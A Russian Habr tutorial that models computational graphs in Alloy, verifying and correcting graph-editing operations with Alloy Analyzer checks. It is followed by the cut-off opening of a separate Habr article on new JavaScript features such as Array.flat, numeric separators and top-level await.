Отношения Традиционно в математике бинарным отношением называется множество пар ![$\big\{x,y\big\}$](https://habrastorage.org/getpro/habr/formulas/a9a/f7d/d6b/a9af7dd6bb59a9f4658dcac8b18065ca.svg), где ![$x \in X$](https://habrastorage.org/getpro/habr/formulas/d43/295/5cf/d432955cfad9eeabdf201072735eb4a2.svg) и ![$y \in Y$](https://habrastorage.org/getpro/habr/formulas/65f/93e/96e/65f93e96e5d87b7d30a03ab77eee349b.svg). В Alloy принята такая запись: `X->Y`. Описание отношений и их свойств поместим в отдельный модуль (который очень близок к стандартному **util/relation**): **Модуль relation.als** ``` module relation -- Мультипликаторы: -- set A - множество элементов из A, может быть пустым -- one A - множество ровно из одного элемента из A -- lone A - один элемент из A или пустое множество -- some A - один и больше элементов из A -- Универсумы: -- univ - множество всех элементов во всех множествах модели, -- можно считать объединением всех сигнатур -- iden - множество пар {A0, A0}, где первый и второй элемент -- пары один и тот же и из univ -- iden = {a : univ, b: univ | a=b} -- то есть это отношение идентичности -- none - пустое множество -- Операции: -- логические: and, or, => (импликация), != (не равно), not -- над множествами: -- & - пересечение -- A->B - множество кортежей с элементами из соотв. -- множеств -- X<:Y - выбор из кортежей в Y тех, которые начинаются с -- кортежей из X -- A in B - множество A содержится в B -- ~A - перевернуть все кортежи в A -- A + B - объединение -- no A - A пустое, эквивалент A = none -- ^A - транзитивное замыкание бинарного отношения A, -- минимальное бинарное отношение B такое, что: -- A in B, -- {E0, E1}, {E1, E2} in B => {E0, E2} in B -- A.B - оператор JOIN, работает след. образом: -- {A0, B0} in A, {B0, C0, D0} in B, тогда -- {A0, C0, D0} in A.B -- Кванторы: -- all X : Y | .... - всеобщности -- some X : Y | .... - существования -- применение предикатов: -- pred[a: A, b:B] {...} есть две синтаксические формы -- применения: pred[a, b] и a.pred[b] -- вторая форма сделана для мимикрии под некоторые -- ООП-языки, где методы определяются как -- method(self : Object, args ...) pred valid [rel : univ->univ, dom : set univ, cod : set univ] { rel.univ in dom and rel.univ in cod } fun domain [rel : univ->univ] : set (rel.univ) { rel.univ } fun codomain [rel : univ->univ] : set (univ.rel) { univ.rel } pred total [rel: univ->univ, dom: set univ] { all x: dom | some x.rel } pred partial [rel: univ->univ, dom: set univ] { all x: dom | lone x.rel } pred functional [rel: univ->univ, dom: set univ] { all x: dom | one x.rel } pred surjective [rel: univ->univ, cod: set univ] { all x: cod | some rel.x } pred injective [rel: univ->univ, cod: set univ] { all x: cod | lone rel.x } pred bijective [rel: univ->univ, cod: set univ] { all x: cod | one rel.x } pred bijection [rel: univ->univ, dom, cod: set univ] { rel.functional[dom] and rel.bijective[cod] } pred reflexive [rel: univ->univ, s: set univ] { s<:iden in rel } pred irreflexive [rel: univ->univ] {no iden & rel} pred symmetric [rel: univ->univ] {~rel in rel} pred antisymmetric [rel: univ->univ] {~rel & rel in iden} pred transitive [rel: univ->univ] {rel.rel in rel} pred acyclic [rel: univ->univ, s: set univ] { all x: s | x not in x.^rel } pred complete[rel: univ->univ, s: univ] { all x,y:s | (x!=y => x->y in (rel + ~rel)) } pred preorder [rel: univ->univ, s: set univ] { rel.reflexive[s] and rel.transitive } pred equality [rel: univ->univ, s: set univ] { rel.preorder[s] and rel.symmetric } pred partial_order [rel: univ->univ, s: set univ] { rel.preorder[s] and rel.antisymmetric } pred total_order [rel: univ->univ, s: set univ] { rel.partial_order[s] and rel.complete[s] } ``` Многое из этого модуля нам не понадобится, оно приведено в качестве примера того, как можно даже сложные свойства отношений легко и лаконично выражать Alloy. ### Графы Теперь на основе отношений определим основные свойства графов. Модуль для описания графов близок к стандартному **utils/graph**, но, в отличие от модуля отношений, в данный модуль вошли только необходимые нам предикаты и функции: **Модуль graph.als** ``` module graph[node] open relation -- функция получения всех узлов графа fun nodes[r: node->node]: set node { r.domain+ r.codomain } -- граф связан, то есть из любой вершины -- можно добраться до любой другой по рёбрам -- без учёта направленности pred connected[r: node->node] { all n1,n2 : r.nodes | n1 in n2.*(r + ~r) } -- граф ацикличный и направленный pred dag [r: node->node] { r.acyclic[r.nodes] } -- получить все корневые вершины -- корневая вершина та, в которую нет -- никаких входящих путей fun roots [r: node->node] : set node { let ns = r.nodes | -- ns - все узлы графа ns - ns.^r -- из всех узлов убираем те, -- в которые есть какой-либо -- входящий путь } -- получить все листья -- лист - конечный узел, из которого -- нет исходящих путей fun leaves [r: node->node] : set node { let ns = r.nodes | -- ns - все узлы графа ns - ns.^~r -- из всех узлов убираем те, -- из которых есть какой-либо -- исходящий путь } ``` ### Вычислительный граф Вычислительный граф — это абстракция, описывающая вычисления в системе в виде графа. Основные характеристики: * (1) есть исток — узел, куда передаются входные данные, над которыми и выполняются вычисления; * (2) есть сток — узел, куда поступает результат вычислений, который отправляется дальше вовне; * (3) есть вычислительные узлы — они принимают данные, вычисляют и передают данные дальше; * (4) сток один, исток — тоже; * (5) у вычислительного узла может быть множество входящих и исходящих дуг. Типы данных и синхронизацию пока не рассматриваем. Для простоты считаем, что данные, пришедшие по входящей дуге, обрабатываются и передаются на все исходящие дуги; * (6) граф направленный, между любой парой узлов — максимум одна дуга, двух дуг в противоположных направлениях быть не может. На данном этапе мы рассматриваем в основном топологию. Теперь опишем вычислительный граф, который удовлетворяет вышеприведённым свойствам, на **Alloy**: **Модуль compgraph.als** ``` module compgraph[node] open graph[node] open relation pred valid [edges: node->node, source : one node, -- свойство 1 drain : one node -- свойство 2 ] { edges.antisymmetric and edges.irreflexive -- свойство 6 graph/roots[edges] = source -- свойство 1 и 4 graph/leaves[edges] = drain -- свойство 2 и 4 } ``` Посмотрим на пару примеров вычислительных графов: ``` open compgraph[node] as cg -- cg - это псевдоним enum node {n0, n1, n2, n3, n4} -- зададим узлы как перечисление, чтобы было более наглядно run cg/valid -- ещё дополнительно указываем модуль cg, так как -- предикат valid есть в двух модулях: relation и compgraph ``` Примеры графов можно увидеть на следующем рисунке: **Примеры вычислительных графов**![](https://habrastorage.org/r/w1560/webt/s-/jc/oa/s-jcoayzy93rucqvfwlmnjkshsq.png) Можем заметить, что некоторые графы не совсем подходят для вычислений (есть подозрительные циклы). Подумав над свойствами вычислительных графов по отношению к обрабатываемым данным, мы придём к идее консистентности. ### Консистентность вычислительного графа Под консистентностью тут понимаются свойства графа по отношению к потоку данных, которые обрабатываются в графе. Результаты обработки данных не должны теряться. Это фундаментальное свойство вычислительного графа по отношению к абстрактным данным. То есть все результаты должны попадать либо в сток, либо в другие вычислительные узлы. Понятно, что потерять данные можно только после получения. Мы можем классифицировать узлы по возможности потери данных: * активный узел — до него есть путь от истока, т. е. сюда могут прийти данные для вычислений; * неактивный узел — до него нет пути от истока; * безопасный узел — от него все пути ведут в сток, т. е. нет опасности подключения к узлу исходящего ребра от активного узла, переданные в него данные не потеряются. Граф консистентен, если в нём не теряются результаты вычислений и все вычислительные процессы конечны, т. е. мы получим результат за конечное время (все вычисления в графе останавливаются за конечное время, и мы можем считать результат из стока). Консистентности можно достичь, добавив ещё несколько свойств к свойствам вычислительного графа: * (7) нет циклов (для простоты описания). В реальных графах могут быть циклы при условиях, которые исключают бесконечную циркуляцию данных по путям цикла, но тут считаем граф ациклическим; * (8) все пути из активных узлов должны вести к стоку, т. е. нет потерь данных. И можно ослабить свойство единственности корня и равенства его истоку, так как мы ввели понятие неактивного узла. То есть все узлы, которые являются корнями, кроме истока, это просто неактивные узлы. * (9) могут быть дополнительные корневые узлы, являющиеся неактивными узлами. И (правда, избыточное, оно следует из других) свойство: * (10) все активные узлы безопасны. Теперь уточним спецификацию вычислительного графа: **Модуль compgraph.als** ``` module compgraph[node] open graph[node] pred active[edges : node->node, source: node, n : node ] { -- n находится в множестве узлов, -- достижимых от истока n in source.^edges } pred safe[edges : node->node, drain : node, n : node ] { -- если есть ещё листья, кроме drain, -- то не один путь из n -- не должен вести в эти узлы -- и n не должно быть одним из -- этих узлов no n.*edges & (leaves[edges] - drain) -- одно из свойств безопасных узлов, что -- можно подать туда данные из активных узлов -- и данные не будут теряться, -- таким образом, должен быть путь до drain drain in n.*edges } pred valid [edges: node->node, source : one node, -- свойство 1 drain : one node -- свойство 2 ] { edges.connected -- так как мы ослабили ограничения -- на корни и вершины (теперь и -- тех и тех может быть не по одной), -- то граф может быть не графом, а -- лесом, поэтому нужно дополнительное -- условие connected edges.dag -- свойство 6 и 8 source in edges.roots -- свойство 1, 4 и 9 drain in edges.leaves -- свойство 2, 4 и 8 all n : edges.roots - source | not active[edges, source, n] -- свойство 9 all n : edges.nodes | -- 10 свойство active[edges, source, n] => safe[edges, drain, n] } ``` Для экономии времени и места картинки с уточнёнными вычислительными графами приводить не буду. ### Операции над вычислительным графом Для работы с вычислительными графами нам нужны операции. Сначала подумаем, как граф будет жить в системе и что из этого может следовать. В простейшем случае жизнь графа состоит из шести этапов: 1. создание графа; 2. проверка валидности графа; 3. запуск данных в граф; 4. работа графа; 5. прекращение подачи данных; 6. уничтожение графа. Изменение работающего графа не подразумевается. Сценарий простой и для большинства задач подойдёт. Не надо заботиться о консистентности графа по отношению к данным во время работы: после создания граф валидируется и далее не меняется. А если нам нужен сервис, который будет работать долго и сумеет адаптироваться к меняющейся нагрузке? А если мы хотим менять функциональность сервиса во время работы? Это серьёзно усложняет задачу. Подумаем о том, как менять граф во время работы, чтобы изменения не нарушали его консистентность. Предположим, у нас уже есть валидный и работающий граф. Сначала подумаем, какие операции нам минимально необходимы: * добавление нового узла и дуги (граф задаётся дугами, поэтому добавить новый узел без связей не получится); * добавление дуги; * удаление дуги; * удаление узла и связанных с ним дуг. Новый узел при добавлении очевидно считается неактивным. Основные свойства определяются дугами, поэтому рассмотрим добавление дуги между узлами. Соединять узлы мы можем несколькими вариантами: 1. неактивный -> неактивный; 2. неактивный -> активный; 3. активный -> неактивный; 4. активный -> активный. Первый и последний вариант тривиальны, а второй и третий уже интереснее. Очевидно, что при подключении неактивного узла к активному ничего плохого не произойдёт: активные узлы безопасны относительно данных, циклов не получится. Ведь в противном случае должна быть дуга к какому-то неактивному узлу, а оттуда — путь к данному неактивному, а это противоречит определению активного/неактивного узла. Остался самый интересный вариант, третий: активный -> неактивный. Такое подключение будет безопасным, только если: * неактивный узел безопасен; * не образуется циклов. Опишем операции в виде предикатов над графами, которые связывают граф до и после операции. Можно попробовать описать в виде функций, но в **Alloy** тяжело задавать функции по созданию сложных структур данных, так как язык чисто декларативный. Если читатель знаком с Прологом, то вот в **Alloy** примерно так же идёт работа с данными. **Операция добавления дуги** ``` pred connect[ old_edges : node->node, new_edges : node->node, source : one node, drain : one node, from : one node, to : one node ] { -- ребра ещё не было from->to not in old_edges -- from недостижим из to, -- чтобы не возникло цикла from not in to.*old_edges -- to должен быть узлом графа, -- иначе граф может стать -- лесом to in (old_edges.nodes - source) -- подключение к to должно быть -- безопасно, то есть передаваемые -- данные в to не потеряются safe[old_edges, drain, to] -- новый граф определяется рёбрами, -- берём все старые рёбра и добавляем -- новое ребро new_edges = old_edges + from->to } ``` Предикат **connect** покрывает все случаи добавления узла с ребром или только ребра к графу. Давайте проверим, что **connect** сохраняет валидность графа: ``` open compgraph[node] as cg sig node {} check { -- для всех возможных наборов рёбер r1, r2 all r1, r2 : node->node | -- для всех возможных узлов source, drain, from, to all source, drain, from, to : node { -- r1 является валидным вычислительным графом с -- source/drain истоком/стоком -- и r2 является графом r1 с добавленным операцией -- connect ребром from->to (cg/valid[r1, source, drain] and connect[r1, r2, source, drain, from, to]) -- это влечёт то, что r2 + source/drain -- также является валидным вычислительным -- графом implies cg/valid[r2, source, drain] -- то есть операция connect сохраняет валидность -- вычислительного графа } } for 8 ``` **Результат** ``` Executing "Check check$1 for 8" Sig this/node scope <= 8 Sig this/node in [[node$0], [node$1], [node$2], [node$3], [node$4], [node$5], [node$6], [node$7]] Generating facts... Simplifying the bounds... Solver=sat4j Bitwidth=4 MaxSeq=7 SkolemDepth=4 Symmetry=20 Generating CNF... Generating the solution... 8374 vars. 168 primary vars. 22725 clauses. 108ms. No counterexample found. Assertion may be valid. 26904ms ``` **Alloy** не смог найти контрпример во всём пространстве конфигураций графов с количеством узлов до восьми включительно. Это большое пространство, "`168 primary vars`" говорит о том, что оно размером ![$2^{168}$](https://habrastorage.org/getpro/habr/formulas/738/817/223/738817223ccd2ccb1412e00a2ae45908.svg) возможных значений основных переменных. И это заняло на среднем ноутбуке меньше 30 секунд! То есть мы можем быть вполне уверены, что операция **connect** сохраняет валидность любых вычислительных графов. Теперь обратная операция, удаление дуги: **Удаление дуги** ``` pred disconnect[ old_edges : node->node, new_edges : node->node, source : one node, drain : one node, from : one node, to : one node ] { -- рёбра есть в старом графе from->to in old_edges -- при удалении ребра from -- должен остаться безопасным safe[new_edges, drain, from] -- граф должен оставаться связанным new_edges.connected -- удаляем ребро new_edges = old_edges - from->to } ``` Пробуем: ``` open compgraph[node] as cg sig node {} check { all r1, r2 : node->node | all source, drain, from, to : node { (cg/valid[r1, source, drain] and disconnect[r1, r2, source, drain, from, to]) implies cg/valid[r2, source, drain] } } for 8 ``` Ого! Найдены контрпримеры! Парочку из них можно увидеть на следующем рисунке: **Контрпримеры для disconnect**![](https://habrastorage.org/r/w1560/webt/so/lf/uh/solfuh-3byq1aftttdz7v2e4v3w.png) Дуги, помеченные как **r1**, — это дуги графа до операции **disconnect**, **r2** — после неё. Там, где есть **r1**, но нет параллельной ей **r2**, эта **r2** и была удалена операцией. Видно, что причина контрпримеров — это удаление единственной дуги **from->to**, в случае когда **source** (он же **from**) перестаёт быть связанной вершиной графа. Поправляем операцию **disconnect**: **исправленная операция удаления дуги** ``` pred disconnect[ old_edges : node->node, new_edges : node->node, source : one node, drain : one node, from : one node, to : one node ] { from->to in old_edges ( safe[new_edges, drain, from] or (from not in new_edges.nodes and from != source)) new_edges.connected new_edges = old_edges - from >to } ``` **Результат проверки** ``` Executing "Check check$2 for 8" Sig this/node scope <= 8 Sig this/node in [[node$0], [node$1], [node$2], [node$3], [node$4], [node$5], [node$6], [node$7]] Generating facts... Simplifying the bounds... Solver=sat4j Bitwidth=4 MaxSeq=7 SkolemDepth=4 Symmetry=20 Generating CNF... Generating the solution... 8505 vars. 168 primary vars. 24808 clauses. 207ms. No counterexample found. Assertion may be valid. 18369ms. ``` Таким образом мы определили две основные операции, которые сохраняют свойства валидности вычислительного графа. ### Полнота операций У нас есть множество валидных графов, а достаточны ли наши операции для построения любого валидного графа из любого валидного? Не окажется ли так, что мы не сможем поменять топологию работающей системы нужным образом? И она окажется в тупике и придётся останавливать и перезапускать всю систему? Давайте проверим: ``` -- для любых двух валидных графов -- есть последовательность промежуточных валидных графов, -- такая, что два следующих друг за другом графа -- приводятся друг к другу за одну операцию check { all r1,r2: node->node | all source,drain: node | some intermediate : seq node->node { cg/valid[r1, source, drain] and cg/valid[r2, source, drain] => intermediate.first = r1 and intermediate.last = r2 and all i : intermediate.inds - intermediate.lastIdx { let from = intermediate[i] | let to = intermediate[i+1] | some n1, n2 : node | connect[from,to, source, drain, n1, n2] or disconnect[from, to, source, drain, n1, n2] } } } for 3 ``` И вот тут мы получаем: ``` Executing "Check check$3" Sig this/node scope <= 3 Sig this/node in [[node$0], [node$1], [node$2]] Generating facts... Simplifying the bounds... Solver=sat4j Bitwidth=4 MaxSeq=4 SkolemDepth=4 Symmetry=20 Generating CNF... Generating the solution... A type error has occured: (see the stacktrace) Analysis cannot be performed since it requires higher-order quantification that could not be skolemized. ``` Что это значит? Мы столкнулись с ограничением **Alloy**: квантификация может быть только первого порядка либо должна сводиться к первому порядку. А здесь не получилось сделать сколемизацию квантора «some intermediate…», так как подкванторная переменная должна пробегать по структуре высшего порядка — последовательности графов. И к первому порядку такую конструкцию не свести. Иногда (но не так часто, как хотелось бы) можно переформулировать предикат так, чтобы он свёлся к первому порядку. Хотя уже есть [higher-order Alloy](https://aleksandarmilicevic.github.io/hola/), но он пока экспериментальный, квантификация высших порядков у него имеет существенные ограничения по размеру моделей. Она катастрофически замедляет моделирование, так как идёт через CEGIS — counter-example guided inductive synthesis. В данном случае нам придётся придумать альтернативный способ проверки, возможно ли достичь всех валидных графов. Если ослабить условие и проверять не достижимость любого валидного из любого валидного, а возможность сделать шаг между двумя валидными, которые отличаются на одно ребро, то получим: ``` check { all edges, edges1 : node->node | all source,drain, from, to : node { (cg/valid[edges, source, drain] and cg/valid[edges1, source, drain] and edges1 = edges + from->to and edges1 != edges) => some n1, n2: node | connect[edges, edges1, source, drain, n1, n2] } } for 7 ``` Эта проверка уже работает, и мы видим результат: **результат проверки connect на полноту** ``` Executing "Check check$3 for 7" Sig this/node scope <= 7 Sig this/node in [[node$0], [node$1], [node$2], [node$3], [node$4], [node$5], [node$6]] Generating facts... Simplifying the bounds... Solver=sat4j Bitwidth=4 MaxSeq=7 SkolemDepth=4 Symmetry=20 Generating CNF... Generating the solution... 6471 vars. 133 primary vars. 16634 clauses. 200ms. Counterexample found. Assertion is invalid. 116ms. ``` Найден контрпример! **контрпример**![](https://habrastorage.org/r/w1560/webt/qd/6x/rv/qd6xrvnjwhoi3qgk35sicegzdk4.png) Красные дуги — это дуги графа до шага, чёрные пунктирные — после шага. На этом шаге добавляется дуга **from->to**. Тут мы видим, что операция **connect** не позволяет добавить дугу от неактивной вершины к небезопасной (и, соответственно, неактивной). Поправляем **connect**: **исправленная версия connect** ``` pred connect[ old_edges : node->node, new_edges : node->node, source : one node, drain : one node, from : one node, to : one node ] { from->to not in old_edges from not in to.*old_edges to in (old_edges.nodes - source) -- вот тут поправили active[old_edges, source, from] => safe[old_edges, drain, to] -- учитываем безопасность to только для активной from, -- и, так как to теперь может быть отдельной вершиной, -- как и from, то нужно добавить условие -- сохранения связанности графа new_edges.connected -- это стало очевидным, так как старая проверка -- стала давать контрпримеры :) new_edges = old_edges + from -> to } ``` Проверяем снова: **результат** ``` Executing "Check check$3 for 7" Sig this/node scope <= 7 Sig this/node in [[node$0], [node$1], [node$2], [node$3], [node$4], [node$5], [node$6]] Generating facts... Simplifying the bounds... Solver=sat4j Bitwidth=4 MaxSeq=7 SkolemDepth=4 Symmetry=20 Generating CNF... Generating the solution... 6513 vars. 133 primary vars. 16837 clauses. 125ms. No counterexample found. Assertion may be valid. 291ms. ``` Теперь всё нормально. Точно так же проверяем обратный шаг для операции **disconnect**. Там тоже будет контрпример, придётся внести правки: **исправленная версия diconnect** ``` pred disconnect[ old_edges : node->node, new_edges : node->node, source : one node, drain : one node, from : one node, to : one node ] { from->to in old_edges -- если удаляем исходящее ребро из активной вершины, -- то она должна оставаться безопасной active[old_edges, source, from] => safe[new_edges, drain, from] -- заметьте, что теперь не нужно анализировать на -- то, что вершина вышла из графа: -- (from not in new_edges.nodes and -- from != source) new_edges.connected new_edges = old_edges - from->to } ``` Таким образом, мы доказали, что если один валидный граф достижим из другого валидного за конечное число шагов добавления/удаления по одной дуге, то мы всегда можем прийти с помощью наших операций от одного графа к другому. Это означает, что, начав с минимального работающего валидного графа (например, **source->drain**), мы можем дойти до больших валидных графов с помощью операций connect/disconnect и всегда вернуться к начальному графу. Этого свойства хватит для построения широкого класса вычислительных графов (есть основание предполагать, что всех интересных на практике вычислительных графов или же вообще всех, но это требует более серьёзного доказательства). ### Что дальше? Дальше можно развивать идею в направлении локальности операций, например. В большой распределённой системе может быть очень неудобно при операциях над графом требовать наличия в узлах, которые участвуют в операции, знаний обо всём графе, чтобы определить отсутствие циклов и т. д. То есть хорошо бы разработать операции со свойством локальности: им понадобится знание только об узлах, что участвуют в операции (признаки safe/active и пр.). При небольших ограничениях на возможные топологии графа эта задача решаема. Далее, хорошо бы проводить множество параллельных операций над графом одновременно. Если мы локализовали операции, то распараллеливание — задача тоже вполне решаемая с помощью механизмов транзакций, локальных блокировок и т. д. Либо можно изначально проектировать систему таким образом, чтобы операции были локальные и параллельные. Ещё хорошо бы ввести типы входных и выходных из узлов данных, чтобы конструировать графы с учётом специфики узлов обработки. В результате на выходе мы получим уже не игрушечную, а реальную рабочую спецификацию вычислительных графов и операций над ними, по которой можно разрабатывать реальную систему с нужными нам (заложенными в спецификации) свойствами. ### А сколько времени ушло на эту модель вычислительного графа? На написание кода на **Alloy** и отладку спек ушло не более часа. Намного больше времени заняли сопровождающий текст и подготовка иллюстраций. Формализация спецификаций, их моделирование и отладка при небольшой практике занимают намного меньше времени, чем написание и отладка прототипного кода, даже на динамических языках программирования типа Python. При работе со спецификациями доступны операции самого высокого уровня абстракции, что позволяет (как вы уже убедились) лаконично описывать сложные свойства системы. ### Как поэкспериментировать с моделями графов? Установите [Alloy Analyzer](http://alloytools.org/), скопируйте файлы из [репозитория на GitHub](https://github.com/vasil-sd/compgraph) — и экспериментируйте. ### А что нам даёт описание на Alloy? Тут всё довольно очевидно: * промоделировав высокоуровневую архитектуру и её свойства, мы будем уверены, что нам не придётся кардинально менять систему из-за проблем в архитектуре; * предикаты, выражающие основные свойства системы, можно использовать, чтобы расставлять assert’ы в коде, писать статичные и динамические чекеры и т. д.; * мы можем на основе моделей сделать направленные тесты на краевые случаи (по мотивам найденных во время отладки контрпримеров); * При расширении функциональности системы мы можем сначала посмотреть, как новая функциональность работает со старой на моделях, а затем уже её реализовывать в коде, что позволяет развивать систему стабильно и предсказуемо. Например, при добавлении новых операций легко проверяется то, что они сохраняют консистентность вычислительного графа. Заключение ---------- Сейчас разработка серьёзного ПО уже немыслима без грамотного инженерного подхода. Facebook, Google, Microsoft, Amazon уделяют много внимания и сил разработке надёжных систем и ПО. * Amazon Web Services, например, формально проверяет свойства системного ПО ([Use of Formal Methods at Amazon Web Services](http://lamport.azurewebsites.net/tla/formal-methods-amazon.pdf), [Formal reasoning about the security of Amazon Web Services](http://www0.cs.ucl.ac.uk/staff/b.cook/CAV18_invited.pdf), [Amazon Relies on Formal Methods for the Security of AWS](https://blog.adacore.com/amazon-relies-on-formal-methods-for-the-security-of-aws)) * Facebook развивает средства формального анализа кода ([ссылка](https://fbinfer.com/)). * Google использует моделирование при разработке облачной инфраструктуры ([ссылка](https://www.researchgate.net/publication/267120559_Formal_Modeling_and_Analysis_of_Google's_Megastore_in_Real-Time_Maude)). * Microsoft развивает и использует средства формальной спецификации, анализа и верификации ([Spec#](https://www.microsoft.com/en-us/research/project/spec/), [Formal Methods at Scale in Microsoft](https://softwarecentricsystems.com/wp-content/uploads/2017/10/Thomas-Ball.pdf), [Formal Methods and Toolsfor Distributed Systems](http://researchweek.comp.nus.edu.sg/slides/Thomas%20Ball.pdf)). Сейчас технологии и мир меняются очень быстро, конкуренция высока, стоимость ошибок при разработке ПО для бизнеса измеряется в потере конкурентного преимущества и доли рынка. Обычные agile-подходы во многих областях недостаточны для быстрой адаптации к рынку, нужна быстрая адаптация с *минимумом ошибок*. Даже если хватит денег на исправление ошибок, потеря времени может стать фатальной для проекта: конкуренты займут рыночную нишу. И тут на помощь придёт инженерный подход. Во многих областях разработку ПО можно и нужно вести в рамках гибких методологий с применением инженерных методов. В следующих статьях я собираюсь подробнее рассказать о требованиях и спецификациях, их плюсах, минусах, возможностях и ограничениях, о других весьма полезных инструментах (TLA+/TLC, B-method/Atelier B, Promela/SPIN). Постараюсь сопроводить статьи примерами использования инструментов. Библиография ------------ ### Книги для погружения в область Тут собраны книги, которые отличаются практическим подходом, минимумом сложной математики, максимумом объяснений и примеров. Список упорядочен по возрастанию сложности. 1. [Michael Jackson Problem Frames: Analysing & Structuring Software Development Problems](https://www.amazon.com/Problem-Frames-Analysing-Structuring-Development/dp/020159627X/) Хорошая книга об анализе проблем (не способов решения!), которые встают перед разработчиками ПО. Будет интересна тем, кто хочет грамотно анализировать задачи и составлять требования. 2. [Daniel Jackson Software Abstractions: Logic, Language, and Analysis](https://www.amazon.com/gp/product/0262017156/) Книга о model finder Alloy и его принципах. От читателя особой подготовки не требуется, но нужны внимание и вдумчивость. Поможет понимание реляционной алгебры (операции join, транзитивного замыкания отношений). Но это необязательно, в книге всё хорошо объяснено. 3. [Юрий Карпов. MODEL CHECKING. Верификация параллельных и распределённых программных систем](https://www.ozon.ru/context/detail/id/32561151/) Хорошая обзорная книга о моделировании. Доходчиво написана, рассмотрены все основные темы, приведено множество примеров. Никакой серьёзной подготовки от читателя не требуется, знания матлогики и дискретки в объёме стандартной вузовской программы более чем достаточно. ### Примеры практического применения Alloy 1. [Pamela Zave. How to Make Chord Correct](http://www.pamelazave.com/chord.html) С помощью **Alloy** была составлена модель алгоритма **DHT Chord**, найдена ошибка (именно в алгоритме, так что все реализации содержали её), предложена исправленная версия алгоритма. Яркий пример того, как бывает полезно формально специфицировать и моделировать алгоритмы. 1. [Примеры спецификаций](https://github.com/AlloyTools/models) В репозитории много примеров спецификаций на **Alloy**, часть которых взята из промышленных задач. ### Блоги 1. [Hillel Wayne](https://www.hillelwayne.com/) Много интересного материала и примеров. Лёгкий стиль, простая подача. Рекомендую тем, кто начинает изучать моделирование. ### Презентации 1. [Ю. Г. Карпов, И. В. Шошмина, А. Б. Беляев. Верификация параллельных и распределённых программных систем](http://is.ifmo.ru/present/2012/20120218_model_che%D1%81king_karpov_lecture01.pdf) Интересная презентация, где хорошо объясняется, что такое моделирование и зачем оно нужно. ### Alloy 1. [Alloy Analyzer](http://alloytools.org/) + [Higher-Order Alloy](https://aleksandarmilicevic.github.io/hola/) Инструменты для работы со спецификациями на языке **Alloy**. 2. [Online Tutorial](http://alloytools.org/tutorials/online/) Материал немного устарел, но может быть полезным для новичков. 3. [Tutorial Materials](http://alloytools.org/tutorials/day-course/) Обучающие материалы.
https://habr.com/ru/post/457810/
null
ru
null
# Ожидаемые новые возможности JavaScript, о которых полезно знать С момента выхода стандарта ECMAScript 2015 (его ещё называют ES6) JavaScript серьёзно изменился и улучшился. Это очень хорошая новость для всех JS-разработчиков. Более того, теперь новая версия ECMAScript выходит каждый год. Возможно, вы не обратили особого внимания на то, что появилось в самой свежей версии стандарта, который был выпущен в июне 2019 года. Автор заметки, перевод которой мы сегодня публикуем, хочет в двух словах рассказать о новшествах JavaScript, и о том, чего можно ждать в следующей версии стандарта ECMAScript. [![](https://habrastorage.org/r/w1560/webt/fi/vc/hd/fivchddl8mlzwem95dlmcvypba4.png)](https://habr.com/ru/company/ruvds/blog/475244/) Здесь будут упомянуты возможности, предложения которых находятся на третьем этапе согласования (Stage 3). Это значит, что они, скорее всего, появятся в следующей версии стандарта ECMAScript, но с абсолютной достоверностью этого утверждать нельзя. [Вот](https://github.com/tc39/proposals) репозиторий, в котором можно найти сведения о предложениях, находящихся на разных этапах согласования. Возможности ECMAScript 2019 (ES10) ---------------------------------- В стандарте ES10 появилось [немало](http://kangax.github.io/compat-table/es2016plus/) новых возможностей. Здесь мы рассмотрим лишь некоторые из них. А именно — пару новых методов массивов. ### ▍Метод Array.prototype.flat Этот метод позволяет делать массивы, в состав которых входят другие массивы, более «плоскими», «сжимая» их до заданного уровня глубины. ``` const array = [1, 2, [3, 4]]; array.flat(); // [1, 2, 3, 4]; ``` Это — очень полезная возможность, в особенности в тех случаях, когда нужно работать с вложенными массивами. Если глубина вложенности массивов в структуре данных превышает 1, то однократный вызов метода `flat` не сможет сделать массив полностью «плоским». Этот метод принимает необязательный параметр `depth`, который позволяет указать то, на сколько уровней вложенности должна быть уменьшена мерность обрабатываемого массива. ``` // Сумасшедший пример const crazyArray = [1, 2, [3, 4], [[5], [6, [7,8]]]]; crazyArray.flat(Infinity); // [1, 2, 3, 4, 5, 6, 7, 8]; // Аргумент, передаваемый flat, должен иметь числовой тип ``` Чем глубже массив — тем больше вычислительных ресурсов понадобится для его обработки. Обратите внимание на то, что эту возможность не поддерживают IE и Edge. ### ▍Метод Array.prototype.flatMap Этот метод сначала обрабатывает элементы массива с использованием переданной ему функции, а потом преобразует массив в плоскую структуру. ``` const arr = ["it's Sunny in", "", "California"]; arr.flatMap(x => x.split(" ")); // ["it's","Sunny","in", "", "California"] ``` Разница между `flat` и `flatMap` заключается в том, что методу `flatMap` можно передать собственную функцию, преобразующую элементы исходного массива. В дополнение к этому, `flatMap`, в отличие от `flat`, «поднимает» элементы массивов лишь на 1 уровень. Этот метод возвращает новый массив. Он может оказаться полезным в тех случаях, когда, перед тем, как сделать некий массив «плоским», нужно как-то обработать его элементы. Новые возможности JS, находящиеся на 3 этапе согласования --------------------------------------------------------- На третьем этапе согласования находится немало новых интересных предложений по расширению и улучшению языка. Рассмотрим некоторые из них. ### ▍Разделители разрядов чисел Бывало у вас такое: записываете в переменную длинное число и сомневаетесь в его правильном написании? Предложение, о котором идёт речь, позволяет разделять разряды чисел символами подчёркивания. Это упрощает работу с числами. ``` 1_000_000_000           // Так, это миллиард 101_475_938.38          // А тут у нас - сто миллионов с небольшим let fee = 123_00;       // $123 (здесь, видимо, 12300 центов) let fee = 12_300;       // $12,300 (ну и пошлина!) let amount = 12345_00;  // 12,345 (тут, скорее всего, 1234500 центов) let amount = 123_45.00;  // 12345 (видимо, какая-то денежная величина) let amount = 1_234_500; // 1,234,500 let budget = 1_000_000_000_000; // Что записано `budget`? Это - 1 триллион! //  // Проверим: console.log(budget === 10 ** 12); // true ``` Каждый разработчик, после принятия этой возможности, сам решит — использовать разделители разрядов или нет. Но одно можно сказать точно: эта возможность способна уменьшить неудобства, связанные с подсчётом разрядов больших чисел. ### ▍Использование await на верхнем уровне кода Использование ключевого слова `await` на верхнем уровне кода позволяет модулям действовать в роли больших асинхронных функций. Благодаря этой возможности ECMAScript-модули могут ожидать появления неких ресурсов. Это приводит к тому, что другие модули, импортирующие их, будут ждать момента готовности к работе тела импортированных модулей. Причина появления этой возможности заключается в том, что когда импортируется модуль, имеющий функцию, объявленную с ключевым словом `async`, выход этой функции будет равняться `undefined`. В следующем примере показаны два файла. В `output` может попасть `undefined` в том случае, если функция вызвана до завершения работы задач, представленных промисами. ``` // awaiting.mjs import { process } from 